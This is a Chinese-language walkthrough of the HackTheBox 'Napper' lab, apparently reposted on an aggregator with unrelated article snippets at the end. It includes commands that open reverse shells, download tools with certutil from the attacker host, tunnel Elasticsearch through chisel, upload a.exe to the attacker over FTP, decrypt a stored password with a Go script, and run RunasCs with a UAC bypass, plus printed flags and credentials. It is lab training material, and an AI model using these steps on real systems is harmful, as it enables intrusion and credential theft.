[Meachines][Hard]Napper

news2024/11/20 20:43:54

Main

$ nmap -p- -sC -sV 10.10.11.240 --min-rate 1000

image.png

$ curl http://10.10.11.240

image.png

$ gobuster dir -u "https://app.napper.htb" -w /usr/share/wordlists/seclists/Discovery/Web-Content/raft-small-words-lowercase.txt -k
博客
image.png

$ ffuf -c -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-5000.txt --fs 5602 -t 100 -u https://napper.htb -H "Host: FUZZ.napper.htb"

image.png

# echo "10.10.11.240 napper.htb app.napper.htb internal.napper.htb" >> /etc/hosts

基础验证框
image.png

在https://app.napper.htb/posts/setup-basic-auth-powershell/描述了如何用powershell新建一个基础身份认证的命令

image.png

输入示例用户名和密码成功进入internal.napper.htb

image.png

该内部页面发布了一篇关于NAPLISTENER(Ruben)恶意软件

image.png

Detail

https://www.elastic.co/security-labs/naplistener-more-bad-dreams-from-the-developers-of-siestagraph

弹性安全实验室在追溯REF2924组织时观察到攻击者将优先事项从数据窃取转移到使用多种机制保持持久访问。2023年1月20日,创建了一个新的可执行文件 Wmdtc.exe,并使用类似于 Microsoft 分布式事务协调器服务 (Msdtc.exe) 的合法二进制的命名约定将其安装为 Windows 服务。

Wmdtc.exe 是一个用 C# 编写的 HTTP 监听器,我们称之为 NAPLISTENER。与 SIESTAGRAPH 和其他由此威胁开发或使用的恶意软件系列一致,NAPLISTENER 似乎旨在规避基于网络的检测形式。值得注意的是,在这个威胁主要活跃的地区(南亚和东南亚),基于网络和日志的检测方法是普遍存在的。

Analysis

这个独特的恶意软件样本包含一个名为 MsEXGHealthd 的 C# 类,它由三个方法组成:Main、SetRespHeader 和 Listener。这个类建立了一个 HTTP 请求监听器,可以处理来自互联网的传入请求,并通过过滤恶意命令并透明地传递合法的网络流量来相应。这个类在下面的图片中描述了出来。

image.png

当程序运行并创建一个线程对象时,将调用 Main 方法,该线程对象将由 Listener 方法使用。然后,该线程被设置为休眠 0 毫秒,然后启动。实现休眠功能与 SIESTAGRAPH、NAPLISTENER 和此组织开发或使用的其他恶意软件一致。

SetRespHeader 方法设置 HTTP 响应的响应头。它以一个 HttpListenerResponse 对象作为参数,并定义诸如 Server、Content-Type 和 X-Powered-By 等头部信息。在一个被积极针对的受害者环境中,IIS Web 服务器会返回一个带有 Server 头部包含 Microsoft-IIS/10.0 的 404 响应,除非特定的参数存在。

image.png

然而,当请求监听器 URI 时出现 404 错误时,会额外添加 Content-Type: text/html; charset=utf-8 作为一个头部。当安装了 NAPLISTENER 时,字符串 Microsoft-HTTPAPI/2.0 会被追加到 Server 头部。这种行为使得监听器变得可检测,并且不会生成 404 错误。很可能选择这种过滤方法是为了避免被网络扫描器和类似技术发现

防御者可能本能地在 IIS Web 服务器日志中搜索这些错误,但 NAPLISTENER 植入程序在内联执行,并且 Windows 将会将这些请求重定向到注册的应用程序,从而使得恶意软件能够确保这些错误永远不会到达 Web 服务器日志,分析人员也不会看到它们。此外,摄取 Web 服务器日志的安全工具将没有机会识别这些行为。

image.png

Listener 方法是 NAPLISTENER 中大部分工作发生的地方。

首先,该方法创建一个 HttpListener 对象来处理传入的请求。如果正在使用的平台支持 HttpListener(应该是的),它会向监听器添加一个前缀,并启动它。

一旦运行,它就会等待传入的请求。当收到请求时,它会读取提交的任何数据(存储在一个 Form 字段中),将其从 Base64 格式解码,并使用解码后的数据创建一个新的 HttpRequest 对象。它创建了一个 HttpResponse 对象和一个 HttpContext 对象,并使用这两个对象作为参数。如果提交的 Form 字段包含 sdafwe3rwe23,则会尝试创建一个程序集对象,并使用 Run 方法来执行它。

这意味着任何发送到 /ews/MsExgHealthCheckd/ 的 Web 请求,如果其中包含一个在 sdafwe3rwe23 参数中以 Base64 编码的 .NET 程序集,该程序集将被加载并在内存中执行。值得注意的是,该二进制运行在一个单独的进程中,与运行的 IIS 服务器没有直接关联。

如果由于某种原因(例如,数据无效或缺失)导致操作失败,则会发送一个带有空主体的“404 Not Found”响应。在发送任何响应后,流会被刷新并关闭连接,然后再次循环以等待更多传入请求。

Main

根据细节描述,我们使用NAPLISTENER扫描工具
该工具可以在Linux或Windows平台运行,会自动下载依赖程序
https://github.com/MartinxMax/

$ python3 Naplistener.py -u "https://napper.htb"

扫描目标,确认存在后门

image.png

$ python3 Naplistener.py -u "https://napper.htb" -lh 10.10.16.15 -lp 10032
反向shell
image.png

image.png

User Flag

> type C:\Users\ruben\Desktop\user.txt
image.png

acfc1c341ef2ec0ea83e1c14899371c2

Root Flag

C:\Temp\www\internal\content\posts>type no-more-laps.md

title: "**INTERNAL** Getting rid of LAPS"
description: Replacing LAPS with out own custom solution
date: 2023-07-01
draft: true
tags: [internal, sysadmin]
---
# Intro
我们正在摒弃LAPS,采用我们自己的定制解决方案。备份用户的密码将存储在本地的Elastic数据库中。
IT部门将在准备就绪后将解密客户端部署到管理员桌面上。
我们预计开发很快就会准备就绪。恶意软件逆向工程团队将是第一个测试组。

image.png

C:\Temp\www\internal\content\posts\internal-laps-alpha> dir
在目录internal-laps-alpha下存在一个a.exe
image.png

.env文件显示了运行在本地主机端口9200上的Elasticsearch服务的凭据。

username:user
password:DumpPassword$Here

image.png

c:\Temp> powershell -c certutil -urlcache -split -f "http://10.10.16.15/chisel.exe" chisel.exe

image.png

[kali]

$ chisel server --port 9201 --reverse
image.png
[靶机]

注意这里的映射端口不要与Kali服务器端监听的端口重复

c:\Temp>.\chisel.exe client 10.10.16.15:9201 R:9200:127.0.0.1:9200

image.png

9200端口
Elasticsearch是一个分布式、开源的搜索和分析引擎,适用于各种类型的数据。它以其速度、可扩展性和简单的REST API而闻名。基于Apache Lucene构建,Elasticsearch于2010年首次由Elasticsearch N.V.发布(现在称为Elastic)。Elasticsearch是Elastic Stack的核心组件,这是一个用于数据摄取、丰富、存储、分析和可视化的开源工具集合。这个堆栈,通常称为ELK Stack,还包括Logstash和Kibana,现在还有轻量级的数据传输代理称为Beats。

$ curl -k https://127.0.0.1:9200 -u 'user:DumpPassword$Here'

image.png

尝试检索存储在Elasticsearch数据库中的所有索引

$ curl -k https://127.0.0.1:9200/_cat/indices -u 'user:DumpPassword$Here'

image.png

在Elasticsearch数据库中有两个索引,分别是"seed"和"user-00001"。"seed"索引包含一个名为"seed"的字段的文档。

$ curl -k https://127.0.0.1:9200/user-00001/_search -u 'user:DumpPassword$Here' |jq

"user-00001"索引包含一个名为"blob"的字段的文档,其数据似乎是一个Base64编码的密码哈希值。

image.png

Reverse Engineering

在kali中创建临时的FTP服务

$ pip3 install pyftpdlib
$ mkdir ftp_temp;cd ftp_temp
(ftp_temp)$ python3 -m pyftpdlib -w -u martin -P martin -p 21
image.png
本主机文件上传至FTP服务器

$ curl -T <File.xxx> -u martin:martin ftp://10.10.16.15/

从FTP服务器将文件下载至本主机

$ curl -O -u martin:martin ftp://10.10.16.15/file.txt

在目录C:\Temp\www\internal\content\posts\internal-laps-alpha将a.exe上传到kali

$ curl -T a.exe -u martin:martin ftp://10.10.16.15/

image.png

image.png

逆向分析:https://binary.ninja/free/

在将文件导入Binary Ninja后,从"Symbols"面板中的go:buildid条目可以明显看出我们正在处理的是一个用Golang编写的可执行文件。因此,我们的重点转向了代码中的main.main函数,这是程序的入口点。

在 main.main 函数中,我们看到引用了 github.com/joho/godotenv 包。进一步往下看,我们注意到了 ELASTICURI 和 ELASTICUSER 变量的使用。这表明程序在 main.main 函数的开头从 .env 文件中加载这些变量。随后,默认的 Elasticsearch 库被用于建立连接。

image.png

在接下来的部分中,我们看到对三个函数的调用:

main.randStringList
main.genKey
main.encrypt

image.png

检查 main.randStringList 函数,我们可以看到它首先将字母表放入一个数组中

image.png

然后它遍历数组以从字母表集中随机选择值

image.png

检查main.genKey函数后,我们观察到代码正在生成一个随机的16字节密钥。值得注意的是,在此操作之前,设置了一个种子。此种子对应于从Elasticsearch中的种子索引中检索到的值。这意味着如果我们知道种子值,我们就可以复制相同的密钥

image.png

继续分析 main.encrypt 函数,通过追踪执行的左分支,我们可以看到它在将数据编码为 base64 之前使用了 AES 密码反馈(CFB)算法对数据进行加密

image.png

image.png

该二进制文件生成一个随机字符串,生成一个密钥,并可能使用该密钥对随机字符串进行加密。生成的输出可能是存储在 Elasticsearch 中的 user-00001 索引中的 base64 编码数据。回顾一下 main.main 函数,我们看到了对 net user 命令的引用。由于这里字符串的格式有些模糊,但是通过之前阅读的草稿文章提供的额外细节,很明显可以看出正在使用 net user backup 命令来更改备份用户的密码。使用在 Elasticsearch 数据库中发现的种子,我们可以创建一个相同的密钥并解密有效负载。

package main
import (
"crypto/aes"
"crypto/cipher"
"encoding/base64"
"fmt"
mrand "math/rand"
"os"
"strconv"
)
func genKey(seed_key string) []byte {
seed, _ := strconv.Atoi(seed_key)
mrand.Seed(int64(seed))
key := make([]byte, 16)
for i := 0; i < 16; i++ {
key[i] = byte(mrand.Intn(255-1) + 1)
}
return key
}
func decrypt(key []byte, cryptoText string) string {
ciphertext, _ := base64.URLEncoding.DecodeString(cryptoText)
block, err := aes.NewCipher(key)
if err != nil {
panic(err)
}
if len(ciphertext) < aes.BlockSize {
panic("ciphertext too short")
}
iv := ciphertext[:aes.BlockSize]
ciphertext = ciphertext[aes.BlockSize:]
stream := cipher.NewCFBDecrypter(block, iv)
stream.XORKeyStream(ciphertext, ciphertext)
return fmt.Sprintf("%s", ciphertext)
}
func main() {
seed_key := genKey(os.Args[1])
decrypted_pass := decrypt(seed_key, os.Args[2])
fmt.Println("Decrypted pass: ", decrypted_pass)
}

这个 Go 脚本根据作为命令行参数提供的种子值生成一个随机密钥。使用这个密钥,它解密一个 base64 编码的密文。解密过程涉及使用生成的密钥初始化一个 AES 密码块,从密文中分离初始化向量 iv,然后使用 CFB 模式解密密文。最后,它将解密后的明文密码打印到控制台上

$ go build decrypt.go

image.png

$ ./decrypt $(curl -s -k https://127.0.0.1:9200/seed/_search -u 'user:DumpPassword$Here' | jq -r '.hits.hits[0]._source.seed') "$(curl -s -k https://127.0.0.1:9200/user-00001/_search -u 'user:DumpPassword$Here' | jq -r '.hits.hits[0]._source.blob')"
image.png

username:backup
password:mpApccnYMYWZNomPRxErJBLKvFvmkiWHqSDwouQg

我们成功获取了用户备份的密码。
现在,让我们继续使用 RunasCs.exe 在我们的 shell 中以备份用户身份运行命令。

> powershell -c certutil -urlcache -split -f "http://10.10.16.15/RunasCs.exe" RunasCs.exe

> .\RunasCs.exe backup mpApccnYMYWZNomPRxErJBLKvFvmkiWHqSDwouQg powershell.exe -r 10.10.16.15:10077 --bypass-uac

image.png

image.png

> type c:\users\administrator\desktop\root.txt

image.png

26f995d74ea1f7b576938bbf0de6ee1b

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/1654910.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

某盾BLACKBOX逆向关键点

需要准备的东西&#xff1a; 1、原JS码 2、AST解混淆码 3、token(来源于JSON) 一、原JS码很好获取&#xff0c;每次页面刷新&#xff0c;混淆的代码都会变&#xff0c;这是正常&#xff0c;以下为部分代码 while (Qooo0) {switch (Qooo0) {case 110 14 - 55: {function O0…

Lib city笔记:TrajectoryDataset

1 AbstractDataset 抽象类&#xff0c;所有数据集的基类 2 TrajectoryDataset 2.1 __init__ 2.2 get_data 2.3 cutter_filter 2.3.1 按照时间间隔切割 2.3.2 按照同一天切割 2.3.3 按照固定窗口长度切割 cut完的轨迹样子 每一个key是一个轨迹的id&#xff0c;对应的value内容…

class与对象的关系

经典的&#xff0c;房子图纸&#xff0c;和创建的房子之间的关系&#xff0c; 类实例化出对象就像现实中使用建筑设计图建造出房子&#xff0c;类就像是设计图&#xff0c;只设计出需要什么东西&#xff0c;但是并没有实体的建筑存在&#xff0c;同样类也只是一个设计&#xf…

Rust读写CSV文件 一维Vec类型元素、二维Vec类型元素写入CSV文件

本文主要介绍Rust读写CSV文件方法&#xff0c; Vec类型元素基本操作方法&#xff0c;Rust把一维Vec类型元素、二维Vec类型元素写入CSV文件方法。 实例测试&#xff1a; 要求读“log.csv”文件数据&#xff0c;把“时间”列数据和“次数”列数据写入日志处理结果1.csv文件&…

暴力破解【1】

1.c/s架构暴力破解 1.1 c/s架构暴力破解前提条件 知道目标地址&#xff0c;端口&#xff0c;协议&#xff0c;无后端验证、用户名字典、密码字典 1.2 c/s架构暴力破解工具 hydra、bruter、medusa爆破 2.b/s架构暴力破解 2.1 无验证码绕过 不带验证码无测试次数的直接使…

[微信小程序] 入门笔记1-滚动视图组件

[微信小程序] 入门笔记1-滚动视图组件 1.页面&组件&渲染 在小程序是由一个个页面page组成, 而页面又是由一个个组件component组成.和网页类似,这里的组件指的就是输入框<input>,按钮<button>,文本<text>,图片<image>等元素.如果你学过网页一…

快速排序(java细节实现)

目录 快速排序: Hoare版: 挖坑法 快速排序的优化 快速排序的非递归实现 小结 从小到大排序 快速排序: 基本思想为&#xff1a;任取待排序元素序列中的某元素作为基准值&#xff0c;按照该排序码将待排序集合分割成两子序列&#xff0c;左子序列中所有元素均小于基准值&…

二叉树的基础遍历2.0

1.0入口&#xff1a;二叉树的基础遍历-CSDN博客 在1.0中使用的是简单的结构体建树&#xff0c;本文注重用二维vector建树。 前序&#xff0c;中序和后序的分析1.0已给出&#xff0c;本文不做过多介绍&#xff0c;本文重点讲二叉树的层序遍历。 先奉上前中后序的代码&#xf…

只允许内网访问时,如何设置hosts

1、Hosts文件简介 hosts文件是一个没有扩展名的计算机文件&#xff0c;用于将主机名与对应的 IP 地址关联起来。在操作系统中&#xff0c;hosts文件通常用于在本地解析域名&#xff0c;以便将域名映射到特定的IP地址。这个文件可以用来屏蔽广告、加速访问特定网站、解决DNS解析…

计算机网络技术主要学什么内容,有哪些课程

计算机网络技术专业是一个涉及理论与实践紧密结合的学科&#xff0c;主要学习内容有计算机网络基础、网络设备技术、网络编程等内容&#xff0c;以下是上大学网&#xff08;www.sdaxue.com&#xff09;整理的计算机网络技术主要学什么内容&#xff0c;供大家参考&#xff01; 基…

服务运维问题

2024-05-01&#xff08;docker 部署的 jar包自动关闭&#xff09; 查询运行情况&#xff1a;处于退出状态 docker ps -a 查询日志&#xff1a;看不出问题 docker logs -f --tail1000 demo-java 查询关于java服务日志&#xff1a;Out of memory: Kill process 16236 (java) …

学习大数据,所需更要的shell基础(2)

文章目录 read读取控制台输入函数系统函数bashnamedirname 自定义函数Shell工具&#xff08;重点&#xff09;cutawk 正则表达式入门常规匹配常用特殊字符 read读取控制台输入 1&#xff09;基本语法 read (选项) (参数) ①选项&#xff1a; -p&#xff1a;指定读取值时的提示…

使用 Parallels Desktop 在 Mac 上畅玩 PC 游戏

我们不再需要接受 “Mac 不是为游戏而打造” 这一事实&#xff1b;Parallels Desktop 通过将电脑变成高性能的游戏设备&#xff0c;从而改变了一切。 Parallels Desktop 充分利用 Mac 硬件的强大功能&#xff0c;让您无缝畅玩 Windows 专享游戏。 性能得到提升&#xff0c;可玩…

顺序栈的操作

归纳编程学习的感悟&#xff0c; 记录奋斗路上的点滴&#xff0c; 希望能帮到一样刻苦的你&#xff01; 如有不足欢迎指正&#xff01; 共同学习交流&#xff01; &#x1f30e;欢迎各位→点赞 &#x1f44d; 收藏⭐ 留言​&#x1f4dd;既然选择了远方&#xff0c;当不负青春…

国产PLC海为如何与电脑通信

前言 这几天接触到了国产海为PLC&#xff0c;做一个记录&#xff01;学习一下&#xff01; 串口联机 步骤 1&#xff1a;使用 USB 转 485 线连接 A8&#xff08;RS485 通讯口&#xff09;和电脑&#xff1b; 步骤 2&#xff1a;打开 Haiwell happy PLC 编程软件&#xff0c…

【C++】C++11--- 列表初始化|关键字

目录 前言 列表初始化 创建对象时的列表初始化 单参数隐式类型转换 多参数的隐式类型转换 new表达式中使用列表初始化 列表初始化适用于STL 容器 模板类initializer_list 关键字auto 关键字decltype 关键字nullptr 前言 C标准10年磨一剑&#xff0c;第二个真正意义上…

Windows系统完全卸载删除 Node.js (包含控制面板找不到node.js选项情况)

1.打开cmd命令行窗口&#xff0c;输入npm cache clean --force 回车执行 2.打开控制面板&#xff0c;在控制面板中把Node.js卸载 移除之后检查环境变量是否也移除&#xff1a;点击Path&#xff0c;点击编辑。 把环境变量中和node有关的全部移除&#xff0c;然后点击确定。 3.重…

Linux中云盘/磁盘,爆满处理方式

1&#xff1a;du和df命令查看磁盘大小不一致 以下是阿里云服务器云盘使用率 运行 du -sh / 大小为20g 我的服务器大小为40g 按道理说这个云盘使用率应该是百分之五十 而运行 df -h / 这个命令是跟这个云盘使用率差不多的。 1.1分析原因 我安装了mysql&#xff0c;nginx…

能否直接上手 Qt ?——看完 C++ 课本后怎么做?

在开始前我有一些资料&#xff0c;是我根据网友给的问题精心整理了一份「Qt的资料从专业入门到高级教程」&#xff0c; 点个关注在评论区回复“888”之后私信回复“888”&#xff0c;全部无偿共享给大家&#xff01;&#xff01;如果你已经阅读了 C 课本&#xff0c;但仍然感到…

C++进阶之路:深入理解编程范式,从面向过程到面向对象(类与对象_上篇)

✨✨ 欢迎大家来访Srlua的博文&#xff08;づ&#xffe3;3&#xffe3;&#xff09;づ╭❤&#xff5e;✨✨ &#x1f31f;&#x1f31f; 欢迎各位亲爱的读者&#xff0c;感谢你们抽出宝贵的时间来阅读我的文章。 我是Srlua小谢&#xff0c;在这里我会分享我的知识和经验。&am…